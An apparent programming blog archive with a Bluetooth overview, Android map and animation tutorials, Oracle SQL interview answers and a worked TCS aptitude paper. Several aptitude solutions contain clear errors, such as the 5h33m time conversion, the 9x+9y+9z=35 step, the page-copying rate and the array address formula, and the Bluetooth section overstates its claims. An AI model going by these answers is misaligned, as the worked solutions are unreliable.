Bluetooth creates communication link between the mobile and the computer enabling the computer to upload software, ringtones, and pictures on the phone and also allows the synchronization of the phone book, calendar, messages, and picture albums. Using Bluetooth connectivity users can send SMS messages directly from their computers. Even the inbuilt modem of the mobile can be used by the computer to connect to internet or for any other purpose which the modem may be used. Bluetooth has allowed the optimum use of the mobile phone using your computer.
That was Bluetooth on mobile, now when we look from the perspective of home LAN, Bluetooth allows users to create a simple local area network of their computer, printer and scanner using Bluetooth. Even two computers can be a part of this simple network which is usually confined in a radius of 10 meters. No LAN can be simpler than a Bluetooth LAN. Bluetooth is technology of future and will provide us great service in the times to come.

Reasons for Using Bluetooth

Bluetooth has emerged as a revolutionary technology for wireless communication at short distances between devices that need to ‘talk’. Bluetooth technology got a boost when the mobile phone industry adopted it as a standard for communication with other similarly enabled devices.
The main reason for the success which has come to Bluetooth can be enumerated as:-
Bluetooth allows the use of various devices and computers without the use of any cables and the reduction of hassles by not using multiplicity if cables.
Bluetooth being a license free technology is inexpensive. Bluetooth dongles are available for as low as $5 a piece. Even the manufacturers who put Bluetooth on their equipment pass on the savings of inexpensive technology to their customers.
Bluetooth provides convenience of use within an area of 10 meters and is not affected by obstacles.
Bluetooth provides compatibility to devices which have Bluetooth enabled as Bluetooth has been implemented as a standard and has been adopted by more than 2000 manufacturers.
Bluetooth uses low powered 2.4 GHZ band for radio communication and uses channel hopping to avoid any external interference even from devices using the same bandwidth and this allows crystal clear communication and error free data transfers.
Bluetooth uses very low power as the range of Bluetooth communication is only 10 meters. This does not put undue stress on battery as Bluetooth has been predominantly made for use by mobile phones where battery power needs to be conserved.
Bluetooth allows creation of a private network of maximum 7 devices and this allows perfect scenario for a home network. The network using Bluetooth is called PAN or Piconet.
Bluetooth as technology is being constantly revised and upgraded and is backward compatible. The newer versions provide for enhanced range, higher speed and other features.

Current Location on map in Android

2012-03-02T19:25:00.000-08:00

Step1:Create new android project.
File/new project/android project/showmapactivity.

Step2:Create main.xml file with map api key.
<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:id="@+id/mainlayout"
    android:orientation="vertical"
    android:layout_width="fill_parent"
    android:layout_height="fill_parent"    >

<TextView
    android:id="@+id/text"
    android:layout_height="fill_parent"
    android:layout_width="fill_parent"/>

<com.google.android.maps.MapView
    android:id="@+id/mapview"
    android:layout_width="fill_parent"
    android:layout_height="fill_parent"
    android:clickable="true"
    android:apiKey="your map api key..." />

<LinearLayout android:id="@+id/zoom"
    android:orientation="vertical"
    android:layout_width="fill_parent"
    android:layout_height="fill_parent" />
</RelativeLayout>

Step3:Edit showmapAcivity class.
package com.android;

import java.util.List;

import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.Canvas;
import android.graphics.Point;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.os.Bundle;
import android.os.Message;
import android.util.Log;
import android.widget.RelativeLayout;
import com.google.android.maps.GeoPoint;
import com.google.android.maps.MapActivity;
import com.google.android.maps.MapController;
import com.google.android.maps.MapView;
import com.google.android.maps.Overlay;

public class ShowMapActivity extends MapActivity {

    private MapController mapController;
    private MapView mapView;
    private LocationManager locationManager;
    private Location location;
    private MapOverlay mapOverlay;
    GeoPoint p;
    class MapOverlay extends com.google.android.maps.Overlay
    {
        @Override
        public boolean draw(Canvas canvas, MapView mapView,
        boolean shadow, long when)
        {
            super.draw(canvas, mapView, shadow);

            //---translate the GeoPoint to screen pixels---
            Point screenPts = new Point();
            mapView.getProjection().toPixels(p, screenPts);

            //---add the marker---
            Bitmap bmp = BitmapFactory.decodeResource(getResources(), R.drawable.add);
            canvas.drawBitmap(bmp, screenPts.x, screenPts.y-50, null);
            return true;
        }
    }
    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(R.layout.main); // bind the layout to the activity

        // create a map view
        RelativeLayout linearLayout = (RelativeLayout) findViewById(R.id.mainlayout);
        mapView = (MapView) findViewById(R.id.mapview);
        mapView.setBuiltInZoomControls(true);
        mapView.setStreetView(true);
        mapController = mapView.getController();
        mapController.setZoom(5); // Zoon 1 is world view
        locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
        if(LocationManager.GPS_PROVIDER != null)
            locationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 1, 10, new GeoUpdateHandler());
        else
            locationManager.requestLocationUpdates(LocationManager.NETWORK_PROVIDER, 1, 10, new GeoUpdateHandler());


    }

    @Override
    protected boolean isRouteDisplayed() {
        return false;
    }

    public class GeoUpdateHandler implements LocationListener {

        @Override
        public void onLocationChanged(Location location) {

            int lat = (int) (location.getLatitude() * 1E6);
            int lng = (int) (location.getLongitude() * 1E6);
            p = new GeoPoint(lat, lng);
            mapController.animateTo(p);
            //    mapController.setCenter(point);
            mapOverlay = new MapOverlay();
            List<Overlay> listOfOverlays = mapView.getOverlays();
            listOfOverlays.clear();
            listOfOverlays.add(mapOverlay);

            mapView.invalidate();
            //updateWithNewLocation(location);
        }

        @Override
        public void onProviderDisabled(String provider) {
            //updateWithNewLocation(null);
        }

        @Override
        public void onProviderEnabled(String provider) {
        }

        @Override
        public void onStatusChanged(String provider, int status, Bundle extras) {
        }
    }

}

Step4:Edit androidmanifest.xml file and add uses permission.
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"></uses-permission>
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"></uses-permission>
    <uses-permission android:name="android.permission.INTERNET"></uses-permission>

Step5:Now save your project and run in emulator.

Step6:You'll get an output like as...

WaveLayout in Android

2012-03-02T19:11:00.001-08:00

Step 1:Create new android project in eclips.
File/new project/android project/waveLayoutActivity.

Step 2:Create wave_layout.xml and wave_scale.xml in @res/anim
wave_layout.xml:
<?xml version="1.0" encoding="utf-8"?>
<gridLayoutAnimation xmlns:android="http://schemas.android.com/apk/res/android"
       android:rowDelay="75%"
       android:columnDelay="0%"
       android:directionPriority="none"
       android:animation="@anim/wave_scale" />

wave_scale.xml:
<?xml version="1.0" encoding="utf-8"?>
<set xmlns:android="http://schemas.android.com/apk/res/android"
        android:interpolator="@android:anim/accelerate_interpolator">
        <alpha android:fromAlpha="0.0" android:toAlpha="1.0"
                android:duration="100" />
        <scale android:fromXScale="0.5" android:toXScale="1.5"
                android:fromYScale="0.5" android:toYScale="1.5" android:pivotX="50%"
                android:pivotY="50%" android:duration="200" />
        <scale android:fromXScale="1.5" android:toXScale="1.0"
                android:fromYScale="1.5" android:toYScale="1.0" android:pivotX="50%"
                android:pivotY="50%" android:startOffset="200" android:duration="100" />
</set>

Step 3:Edit waveLayoutActivity class as like
package com.empmark.wavelayout;

import java.util.List;
import android.app.Activity;
import android.content.Intent;
import android.content.pm.ResolveInfo;
import android.os.Bundle;
import android.view.View;
import android.view.ViewGroup;
import android.widget.BaseAdapter;
import android.widget.GridView;
import android.widget.ImageView;

public class WaveLayoutActivity extends Activity {
    private List<ResolveInfo> mApps;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        Intent mainIntent = new Intent(Intent.ACTION_MAIN, null);
        mainIntent.addCategory(Intent.CATEGORY_LAUNCHER);
        mApps = getPackageManager().queryIntentActivities(mainIntent, 0);
        setContentView(R.layout.main);
        GridView grid = (GridView) findViewById(R.id.grid);
        grid.setAdapter(new AppsAdapter());
    }
    public class AppsAdapter extends BaseAdapter {
        public View getView(int position, View convertView, ViewGroup parent) {
            ImageView i = new ImageView(WaveLayoutActivity.this);
            ResolveInfo info = mApps.get(position % mApps.size());
            i.setImageDrawable(info.activityInfo.loadIcon(getPackageManager()));
            i.setScaleType(ImageView.ScaleType.FIT_CENTER);
            i.setLayoutParams(new GridView.LayoutParams(36, 36));
            return i;
        }
        public final int getCount() {
            return Math.min(32, mApps.size());
        }
        public final Object getItem(int position) {
            return mApps.get(position % mApps.size());
        }
        public final long getItemId(int position) {
            return position;
        }
    }
}

Step 4:no need to edit anything in androidmanifest.xml.

Step 5:save project and run in emulator.

Step 6:You'll get an output like as...

SQL interview questions and answers

2012-03-02T01:21:00.001-08:00

What is SQL and where does it come from?
Structured Query Language (SQL) is a language that provides an interface to relational database systems. SQL was developed by IBM in the 1970s for use in System R, and is a de facto standard, as well as an ISO and ANSI standard. SQL is often pronounced SEQUEL.
In common usage SQL also encompasses DML (Data Manipulation Language), for INSERTs, UPDATEs, DELETEs and DDL (Data Definition Language), used for creating and modifying tables and other database structures.

The development of SQL is governed by standards. A major revision to the SQL standard was completed in 1992, called SQL2. SQL3 support object extensions and are (partially?) implemented in Oracle8 and 9.

What are the difference between DDL, DML and DCL commands?
DDL is Data Definition Language statements. Some examples:
• CREATE - to create objects in the database
• ALTER - alters the structure of the database
• DROP - delete objects from the database
• TRUNCATE - remove all records from a table, including all spaces allocated for the records are
removed
• COMMENT - add comments to the data dictionary
• GRANT - gives user's access privileges to database
• REVOKE - withdraw access privileges given with the GRANT command
DML is Data Manipulation Language statements. Some examples:
• SELECT - retrieve data from the a database
• INSERT - insert data into a table
• UPDATE - updates existing data within a table
• DELETE - deletes all records from a table, the space for the records remain
• CALL - call a PL/SQL or Java subprogram
• EXPLAIN PLAN - explain access path to data
• LOCK TABLE - control concurrency
DCL is Data Control Language statements. Some examples:
• COMMIT - save work done
• SAVEPOINT - identify a point in a transaction to which you can later roll back
• ROLLBACK - restore database to original since the last COMMIT
• SET TRANSACTION - Change transaction options like what rollback segment to use

How does one escape special characters when building SQL queries?
The LIKE keyword allows for string searches. The '_' wild card character is used to match exactly one character, '%' is used to match zero or more occurrences of any characters. These characters can be escaped in SQL. Example:
SELECT name FROM emp WHERE id LIKE '%\_%' ESCAPE '\';
Use two quotes for every one displayed. Example:
SELECT 'Franks''s Oracle site' FROM DUAL;
SELECT 'A ''quoted'' word.' FROM DUAL;
SELECT 'A ''''double quoted'''' word.' FROM DUAL;

How does one eliminate duplicates rows from a table?
Choose one of the following queries to identify or remove duplicate rows from a table leaving only unique records in the table:
Method 1:
SQL> DELETE FROM table_name A WHERE ROWID > (
2 SELECT min(rowid) FROM table_name B
3 WHERE A.key_values = B.key_values);
Method 2:
SQL> create table table_name2 as select distinct * from table_name1;
SQL> drop table_name1;
SQL> rename table_name2 to table_name1;
SQL> -- Remember to recreate all indexes, constraints, triggers, etc
on table...
Method 3: (thanks to Dennis Gurnick)
SQL> delete from my_table t1
SQL> where exists (select 'x' from my_table t2
SQL> where t2.key_value1 = t1.key_value1
SQL> and t2.key_value2 = t1.key_value2
SQL> and t2.rowid > t1.rowid);
Note: One can eliminate N^2 unnecessary operations by creating an index on the joined fields in the inner loop (no need to loop through the entire table on each pass by a record). This will speed-up the deletion process.
Note 2: If you are comparing NOT-NULL columns, use the NVL function. Remember that NULL is not equal to NULL. This should not be a problem as all key columns should be NOT NULL by definition.

How does one generate primary key values for a table?
Create your table with a NOT NULL column (say SEQNO). This column can now be populated with unique values:
SQL> UPDATE table_name SET seqno = ROWNUM;
or use a sequences generator:
SQL> CREATE SEQUENCE sequence_name START WITH 1 INCREMENT BY 1;
SQL> UPDATE table_name SET seqno = sequence_name.NEXTVAL;
Finally, create a unique index on this column.
How does one get the time difference between two date columns?
Look at this example query:
select floor(((date1-date2)*24*60*60)/3600)
|| ' HOURS ' ||
floor((((date1-date2)*24*60*60) -
floor(((date1-date2)*24*60*60)/3600)*3600)/60)
|| ' MINUTES ' ||
round((((date1-date2)*24*60*60) -
floor(((date1-date2)*24*60*60)/3600)*3600 -
(floor((((date1-date2)*24*60*60) -
floor(((date1-date2)*24*60*60)/3600)*3600)/60)*60)))
|| ' SECS ' time_difference from ...
If you don't want to go through the floor and ceiling math, try this method (contributed by Erik Wile):
select to_char(to_date('00:00:00','HH24:MI:SS') +
(date1 - date2), 'HH24:MI:SS') time_difference
from ...
Note that this query only uses the time portion of the date and ignores the date itself. It will thus never return a value bigger than 23:59:59.

How does one add a day/hour/minute/second to a date value?
The SYSDATE pseudo-column shows the current system date and time. Adding 1 to SYSDATE will advance the date by 1 day. Use fractions to add hours, minutes or seconds to the date. Look at these examples:
SQL> select sysdate, sysdate+1/24, sysdate +1/1440, sysdate +
1/86400 from dual;
SYSDATE SYSDATE+1/24 SYSDATE+1/1440
SYSDATE+1/86400
-------------------- -------------------- --------------------
--------------------
03-Jul-2002 08:32:12 03-Jul-2002 09:32:12 03-Jul-2002 08:33:12
03-Jul-2002 08:32:13
The following format is frequently used with Oracle Replication:
select sysdate NOW, sysdate+30/(24*60*60) NOW_PLUS_30_SECS from
dual;
NOW NOW_PLUS_30_SECS
-------------------- --------------------
03-JUL-2002 16:47:23 03-JUL-2002 16:47:53
thestudentdaily.com
How does one count different data values in a column?
Use this simple query to count the number of data values in a column:
select my_table_column, count(*)
from my_table
group by my_table_column;
A more sophisticated example...
select dept, sum( decode(sex,'M',1,0)) MALE,
sum( decode(sex,'F',1,0)) FEMALE,
count(decode(sex,'M',1,'F',1)) TOTAL
from my_emp_table
group by dept;

How does one count/sum RANGES of data values in a column?
A value x will be between values y and z if GREATEST(x, y) = LEAST(x, z). Look at this example:
select f2, sum(decode(greatest(f1,59), least(f1,100), 1, 0)) "Range
60-100", sum(decode(greatest(f1,30), least(f1, 59), 1, 0)) "Range
30-59", sum(decode(greatest(f1, 0), least(f1, 29), 1, 0)) "Range
00-29" from my_table group by f2;
For equal size ranges it might be easier to calculate it with DECODE(TRUNC(value/range), 0, rate_0, 1, rate_1, ...). Eg.
select ename "Name", sal "Salary",
decode( trunc(f2/1000, 0), 0, 0.0,
1, 0.1,
2, 0.2,
3, 0.31) "Tax rate"
from my_table;

Can one retrieve only the Nth row from a table?
Shaik Khaleel provided this solution to select the Nth row from a table:
SELECT * FROM (
SELECT ENAME,ROWNUM RN FROM EMP WHERE ROWNUM < 101 )
WHERE RN = 100;
Note: Note: In this first it select only one more than the required row, then it selects the required one. Its far better than using MINUS operation.
SELECT f1 FROM t1
WHERE rowid = (
SELECT rowid FROM t1
thestudentdaily.com
WHERE rownum <= 10
MINUS
SELECT rowid FROM t1
WHERE rownum < 10);
Alternatively...
SELECT * FROM emp WHERE rownum=1 AND rowid NOT IN
(SELECT rowid FROM emp WHERE rownum < 10);
Please note, there is no explicit row order in a relational database. However, this query is quite fun and may even help in the odd situation.

Can one retrieve only rows X to Y from a table?
Shaik Khaleel provided this solution to the problem:
SELECT * FROM (
SELECT ENAME,ROWNUM RN FROM EMP WHERE ROWNUM < 101
) WHERE RN between 91 and 100 ;
Note: the 101 is just one greater than the maximum row of the required rows (means x= 90, y=100, so the inner values is y+1).
Another solution is to use the MINUS operation. For example, to display rows 5 to 7, construct a query like this:
SELECT *
FROM tableX
WHERE rowid in (
SELECT rowid FROM tableX
WHERE rownum <= 7
MINUS
SELECT rowid FROM tableX
WHERE rownum < 5);
Please note, there is no explicit row order in a relational database. However, this query is quite fun and may even help in the odd situation.

How does one select EVERY Nth row from a table?
One can easily select all even, odd, or Nth rows from a table using SQL queries like this:
Method 1: Using a subquery
SELECT *
FROM emp
WHERE (ROWID,0) IN (SELECT ROWID, MOD(ROWNUM,4)
FROM emp);
Method 2: Use dynamic views (available from Oracle7.2):
SELECT *
FROM ( SELECT rownum rn, empno, ename
FROM emp
) temp
WHERE MOD(temp.ROWNUM,4) = 0;
Please note, there is no explicit row order in a relational database. However, these queries are quite fun and may even help in the odd situation.

How does one select the TOP N rows from a table?
Form Oracle8i one can have an inner-query with an ORDER BY clause. Look at this example:
SELECT *
FROM (SELECT * FROM my_table ORDER BY col_name_1 DESC)
WHERE ROWNUM < 10;
Use this workaround with prior releases:
SELECT *
FROM my_table a
WHERE 10 >= (SELECT COUNT(DISTINCT maxcol)
FROM my_table b
WHERE b.maxcol >= a.maxcol)
ORDER BY maxcol DESC;

How does one code a tree-structured query?
Tree-structured queries are definitely non-relational (enough to kill Codd and make him roll in his grave). Also, this feature is not often found in other database offerings.
The SCOTT/TIGER database schema contains a table EMP with a self-referencing relation (EMPNO and MGR columns). This table is perfect for tesing and demonstrating tree-structured queries as the MGR column contains the employee number of the "current" employee's boss.
The LEVEL pseudo-column is an indication of how deep in the tree one is. Oracle can handle queries with a depth of up to 255 levels. Look at this example:
select LEVEL, EMPNO, ENAME, MGR
from EMP
connect by prior EMPNO = MGR
start with MGR is NULL;
One can produce an indented report by using the level number to substring or lpad() a series of spaces, and concatenate that to the string. Look at this example:
select lpad(' ', LEVEL * 2) || ENAME ........
One uses the "start with" clause to specify the start of the tree. More than one record can match the starting condition. One disadvantage of having a "connect by prior" clause is that you cannot perform a join to other tables. The "connect by prior" clause is rarely implemented in the other database offerings. Trying to do this programmatically is difficult as one has to do the top level query first, then, for each of the records open a cursor to look for child nodes.
One way of working around this is to use PL/SQL, open the driving cursor with the "connect by prior" statement, and the select matching records from other tables on a row-by-row basis, inserting the results into a temporary table for later retrieval.

How does one code a matrix report in SQL?
Look at this example query with sample output:
SELECT *
FROM (SELECT job,
sum(decode(deptno,10,sal)) DEPT10,
sum(decode(deptno,20,sal)) DEPT20,
thestudentdaily.com
sum(decode(deptno,30,sal)) DEPT30,
sum(decode(deptno,40,sal)) DEPT40
FROM scott.emp
GROUP BY job)
ORDER BY 1;
JOB DEPT10 DEPT20 DEPT30 DEPT40
--------- ---------- ---------- ---------- ----------
ANALYST 6000
CLERK 1300 1900 950
MANAGER 2450 2975 2850
PRESIDENT 5000
SALESMAN 5600

How does one implement IF-THEN-ELSE in a select statement?
The Oracle decode function acts like a procedural statement inside an SQL statement to return different values or columns based on the values of other columns in the select statement.
Some examples:
select decode(sex, 'M', 'Male', 'F', 'Female', 'Unknown')
from employees;
select a, b, decode( abs(a-b), a-b, 'a > b',
0, 'a = b',
'a < b') from tableX;
select decode( GREATEST(A,B), A, 'A is greater OR EQUAL than
B', 'B is greater than A')...
select decode( GREATEST(A,B),
A, decode(A, B, 'A NOT GREATER THAN B', 'A GREATER
THAN B'),
'A NOT GREATER THAN B')...
Note: The decode function is not ANSI SQL and is rarely implemented in other RDBMS offerings. It is one of the good things about Oracle, but use it sparingly if portability is required.
From Oracle 8i one can also use CASE statements in SQL. Look at this example:
SELECT ename, CASE WHEN sal>1000 THEN 'Over paid' ELSE 'Under
paid' END
FROM emp;
How can one dump/ examine the exact content of a database column?
SELECT DUMP(col1)
FROM tab1
WHERE cond1 = val1;
DUMP(COL1)
-------------------------------------
Typ=96 Len=4: 65,66,67,32
For this example the type is 96, indicating CHAR, and the last byte in the column is 32, which is the ASCII code for a space. This tells us that this column is blank-padded.

Can one drop a column from a table?
From Oracle8i one can DROP a column from a table. Look at this sample script, demonstrating the ALTER TABLE table_name DROP COLUMN column_name; command.
Other workarounds:
1. SQL> update t1 set column_to_drop = NULL;
SQL> rename t1 to t1_base;
SQL> create view t1 as select <specific columns> from t1_base;
2. SQL> create table t2 as select <specific columns> from t1;
SQL> drop table t1;
SQL> rename t2 to t1;

Can one rename a column in a table?
No, this is listed as Enhancement Request 163519. Some workarounds:
1. -- Use a view with correct column names...
rename t1 to t1_base;
create view t1 <column list with new name> as select * from t1_base;
2. -- Recreate the table with correct column names...
create table t2 <column list with new name> as select * from t1;
drop table t1;
rename t2 to t1;
3. -- Add a column with a new name and drop an old column...
alter table t1 add ( newcolame datatype );
update t1 set newcolname=oldcolname;
alter table t1 drop column oldcolname;
•
How can I change my Oracle password?
Issue the following SQL command: ALTER USER <username> IDENTIFIED BY
<new_password>
/
From Oracle8 you can just type "password" from SQL*Plus, or if you need to change another user's
password, type "password user_name".

How does one find the next value of a sequence?
Perform an "ALTER SEQUENCE ... NOCACHE" to unload the unused cached sequence numbers from the Oracle library cache. This way, no cached numbers will be lost. If you then select from the
USER_SEQUENCES dictionary view, you will see the correct high water mark value that would be
returned for the next NEXTVALL call. Afterwards, perform an "ALTER SEQUENCE ... CACHE" to
restore caching. You can use the above technique to prevent sequence number loss before a SHUTDOWN ABORT, or any other operation that would cause gaps in sequence values.
Workaround for snapshots on tables with LONG columns You can use the SQL*Plus COPY command instead of snapshots if you need to copy LONG and LONG RAW variables from one location to another. Eg:
COPY TO SCOTT/TIGER@REMOTE -
CREATE IMAGE_TABLE USING -
SELECT IMAGE_NO, IMAGE -
FROM IMAGES;
Note: If you run Oracle8, convert your LONGs to LOBs, as it can be replicated.

TCS APTITUDE PAPER WITH SOLUTIONS

2012-02-28T23:54:00.001-08:00

1) If log 0.317=0.3332 and log 0.318=0.3364 then find log 0.319 ?

Sol)

log 0.317=0.3332 and log 0.318=0.3364, then
log 0.319=log0.318+(log0.318-log0.317) = 0.3396

2) A box of 150 packets consists of 1kg packets and 2kg packets. Total weight of box is 264kg. How many 2kg packets are there ?

Sol)

x= 2 kg Packs
y= 1 kg packs
x + y = 150 .......... Eqn 1
2x + y = 264 .......... Eqn 2
Solve the Simultaneous equation; x = 114
so, y = 36
ANS : Number of 2 kg Packs = 114.

3) My flight takes of at 2am from a place at 18N 10E and landed 10 Hrs later at a place with coordinates 36N70W. What is the local time when my plane landed?
6:00 am b) 6:40am c) 7:40 d) 7:00 e) 8:00

Sol)

The destination place is 80 degree west to the starting place. Hence the time difference between these two places is 5 hour 20 min. (=24hr*80/360).
When the flight landed, the time at the starting place is 12 noon (2 AM + 10 hours).
Hence, the time at the destination place is 12 noon - 5:20 hours = 6: 40 AM

4) A plane moves from 9°N40°E to 9°N40°W. If the plane starts at 10 am and takes 8 hours to reach the destination, find the local arrival time ?

Sol)

Since it is moving from east to west longitide we need to add both
ie,40+40=80
multiply the ans by 4
=>80*4=320min
convert this min to hours ie, 5hrs 33min
It takes 8hrs totally . So 8-5hr 30 min=2hr 30min
So the ans is 10am+2hr 30 min
=>ans is 12:30 it will reach

5) The size of the bucket is N kb. The bucket fills at the rate of 0.1 kb per millisecond. A programmer sends a program to receiver. There it waits for 10 milliseconds. And response will be back to programmer in 20 milliseconds. How much time the program takes to get a response back to the programmer, after it is sent? Please tell me the answer with explanation. Very urgent.

Sol)

see it doesn't matter that wat the time is being taken to fill the bucket.after reaching program it waits there for 10ms and back to the programmer in 20 ms.then total time to get the response is 20ms +10 ms=30ms...it's so simple....

6) A file is transferred from one location to another in 'buckets'. The size of the bucket is 10 kilobytes. Each bucket gets filled at the rate of 0.0001 kilobytes per millisecond. The transmission time from sender to receiver is 10 milliseconds per bucket. After the receipt of the bucket the receiver sends an acknowledgement that reaches sender in 100 milliseconds. Assuming no error during transmission, write a formula to calculate the time taken in seconds to successfully complete the transfer of a file of size N kilobytes.

(n/1000)*(n/10)*10+(n/100)....as i hv calculated...~~!not 100% sure

7) A fisherman's day is rated as good if he catches 9 fishes, fair if 7 fishes and bad if 5 fishes. He catches 53 fishes in a week n had all good, fair n bad days in the week. So how many good, fair n bad days did the fisher man had in the week
Ans:4 good, 1 fair n 2 bad days

Sol)

Go to river catch fish
4*9=36
7*1=7
2*5=10
36+7+10=53...
take what is given 53
good days means --- 9 fishes so 53/9=4(remainder=17) if u assume 5 then there is no chance for bad days.
fair days means ----- 7 fishes so remaining 17 --- 17/7=1(remainder=10) if u assume 2 then there is no chance for bad days.
bad days means -------5 fishes so remaining 10---10/5=2days.
Ans: 4 good, 1 fair, 2bad. ==== total 7 days.

x+y+z=7--------- eq1
9*x+7*y+5*z=53 -------eq2
multiply eq 1 by 9,
9*x+9*y+9*z=35 -------------eq3
from eq2 and eq3
2*y+4*z=10-----eq4
since all x,y and z are integer i sud put a integer value of y such that z sud be integer in eq 4 .....and ther will be two value y=1 or 3 then z = 2 or 1 from eq 4

for first y=1,z=2 then from eq1 x= 4
so 9*4+1*7+2*5=53.... satisfied
now for second y=3 z=1 then from eq1 x=3
so 9*3+3*7+1*5=53 ......satisfied
so finally there are two solution of this question
(x,y,z)=(4,1,2) and (3,3,1)...

8) Y catches 5 times more fishes than X. If total number of fishes caught by X and Y is 42, then number of fishes caught by X?

Sol)

Let no. of fish x catches=p
no. caught by y =r
r=5p.
r+p=42
then p=7,r=35

9) Three companies are working independently and receiving the savings 20%, 30%, 40%. If the companies work combinely, what will be their net savings?

suppose total income is 100 http://www.ChetanaS.org
so amount x is getting is 80
y is 70
z =60
total=210

but total money is 300
300-210=90
so they are getting 90 rs less
90 is 30% of 300 so they r getting 30% discount

10) The ratio of incomes of C and D is 3:4.the ratio of their expenditures is 4:5. Find the ratio of their savings if the savings of C is one fourths of his income?

Sol)

incomes:3:4
expenditures:4:5
3x-4y=1/4(3x)
12x-16y=3x
9x=16y
y=9x/16
(3x-4(9x/16))/((4x-5(9x/16)))
ans:12/19

11) If G(0) = -1 G(1)= 1 and G(N)=G(N-1) - G(N-2) then what is the value of G(6)?
ans: -1
bcoz g(2)=g(1)-g(0)=1+1=2
g(3)=1
g(4)=-1
g(5)=-2
g(6)=-1

12) If A can copy 50 pages in 10 hours and A and B together can copy 70 pages in 10 hours, how much time does B takes to copy 26 pages?

Sol)

A can copy 50 pages in 10 hrs.
A can copy 5 pages in 1hr.(50/10)
now A & B can copy 70 pages in 10hrs.
thus, B can copy 90 pages in 10 hrs.[eqn. is (50+x)/2=70, where x--> no. of pages B can copy in 10 hrs.]
so, B can copy 9 pages in 1hr.
therefore, to copy 26 pages B will need almost 3hrs.
since in 3hrs B can copy 27 pages.

13) what's the answer for that :
A, B and C are 8 bit no's. They are as follows:
A -> 1 1 0 0 0 1 0 1
B -> 0 0 1 1 0 0 1 1
C -> 0 0 1 1 1 0 1 0 ( - =minus, u=union)
Find ((A - C) u B) =?

To find A-C, We will find 2's compliment of C and them add it with A,
That will give us (A-C)
2's compliment of C=1's compliment of C+1
=11000101+1=11000110
A-C=11000101+11000110
=10001001
Now (A-C) U B is .OR. logic operation on (A-C) and B
10001001 .OR . 00110011
The answer is = 10111011,
Whose decimal equivalent is 187.

14) One circular array is given(means memory allocation tales place in circular fashion) diamension(9X7) and sarting add. is 3000, What is the address of (2,3)........

Sol)

it's a 9x7 int array so it reqiure a 126 bytes for storing.b'ze integer value need 2 byes of memory allocation. and starting add is 3000
so starting add of 2x3 will be 3012.

15) In a two-dimensional array, X (9, 7), with each element occupying 4 bytes of memory, with the address of the first element X (1, 1) is 3000, find the address of X (8, 5).

Sol)

initial x (1,1) = 3000 u hav to find from x(8,1)so u have x(1,1),x(1,2) ... x(7,7) = so u have totally 7 * 7 = 49 elementsu need to find for x(8,5) ? here we have 5 elements each element have 4 bytes : (49 + 5 -1) * 4 = 212 -----( -1 is to deduct the 1 element ) 3000 + 212 = 3212

16) Which of the following is power of 3 a) 2345 b) 9875 c) 6504 d) 9833

17) The size of a program is N. And the memory occupied by the program is given by M = square root of 100N. If the size of the program is increased by 1% then how much memory now occupied ?

Sol)

M=sqrt(100N)
N is increased by 1%
therefore new value of N=N + (N/100)
=101N/100
M=sqrt(100 * (101N/100) )
Hence, we get M=sqrt(101 * N)

18)
1)SCOOTER --------- AUTOMOBILE--- A. PART OF
2.OXYGEN----------- WATER ------- B. A Type of
3.SHOP STAFF------- FITTERS------ C. NOT A TYPE OF
4. BUG -------------REPTILE------ D. A SUPERSET OF
1)B 2)A 3)D 4)C

19) A bus started from bustand at 8.00a m and after 30 min staying at destination, it returned back to the bustand. the destination is 27 miles from the bustand. the speed of the bus 50 percent fast speed. at what time it returns to the bustand
this is the step by step solution:
a bus cover 27 mile with 18 mph in =27/18= 1 hour 30 min. and it wait at stand =30 min.
after this speed of return increase by 50% so 50%of 18 mph=9mph
Total speed of returnig=18+9=27
Then in return it take 27/27=1 hour
then total time in joureny=1+1:30+00:30 =3 hour
so it will come at 8+3 hour=11 a.m.
So Ans==11 a.m

20) In two dimensional array X(7,9) each element occupies 2 bytes of memory.If the address of first element X(1,1)is 1258 then what will be the address of the element X(5,8) ?
Sol) Here, the address of first element x[1][1] is 1258 and also 2 byte of memory is given. now, we have to solve the address of element x[5][8], therefore, 1258+ 5*8*2 = 1258+80 = 1338 so the answer is 1338.

21) The temperature at Mumbai is given by the function: -t2/6+4t+12 where t is the elapsed time since midnight. What is the percentage rise (or fall) in temperature between 5.00PM and 8.00PM?

22) Low temperature at the night in a city is 1/3 more than 1/2 high as higher temperature in a day. Sum of the low temperature and highest temp. is 100 degrees. Then what is the low temp?
Sol) Let highest temp be x
so low temp=1/3 of x of 1/2 of x plus x/2 i.e. x/6+x/2
total temp=x+x/6+x/2=100
therefore, x=60
Lowest temp is 40

23) In Madras, temperature at noon varies according to -t^2/2 + 8t + 3, where t is elapsed time. Find how much temperature more or less in 4pm to 9pm. Ans. At 9pm 7.5 more
Sol) In equestion first put t=9,
we will get 34.5...........................(1)
now put t=4,
we will get 27..............................(2)
so ans=34.5-27
=7.5

24) A person had to multiply two numbers. Instead of multiplying by 35, he multiplied by 53 and the product went up by 540. What was the raised product?
a) 780 b) 1040 c) 1590 d) 1720
Sol) x*53-x*35=540=> x=30 therefore, 53*30=1590 Ans

25) How many positive integer solutions does the equation 2x+3y = 100 have?
a) 50 b) 33 c) 16 d) 35
Sol) There is a simple way to answer this kind of Q's given 2x+3y=100, take l.c.m of 'x' coeff and 'y' coeff i.e. l.c.m of 2,3 ==6then divide 100 with 6 , which turns out 16 hence answer is 16short cut formula--- constant / (l.cm of x coeff and y coeff)

26) The total expense of a boarding house are partly fixed and partly variable with the number of boarders. The charge is Rs.70 per head when there are 25 boarders and Rs.60 when there are 50 boarders. Find the charge per head when there are 100 boarders.
a) 65 b) 55 c) 50 d) 45
Sol)
Let a = fixed cost and k = variable cost and n = number of boarders
total cost when 25 boarders c = 25*70 = 1750 i.e. 1750 = a + 25k
total cost when 50 boarders c = 50*60 = 3000 i.e. 3000 = a + 50k
solving above 2 eqns, 3000-1750 = 25k i.e. 1250 = 25k i.e. k = 50
therefore, substituting this value of k in either of above 2 eqns we get
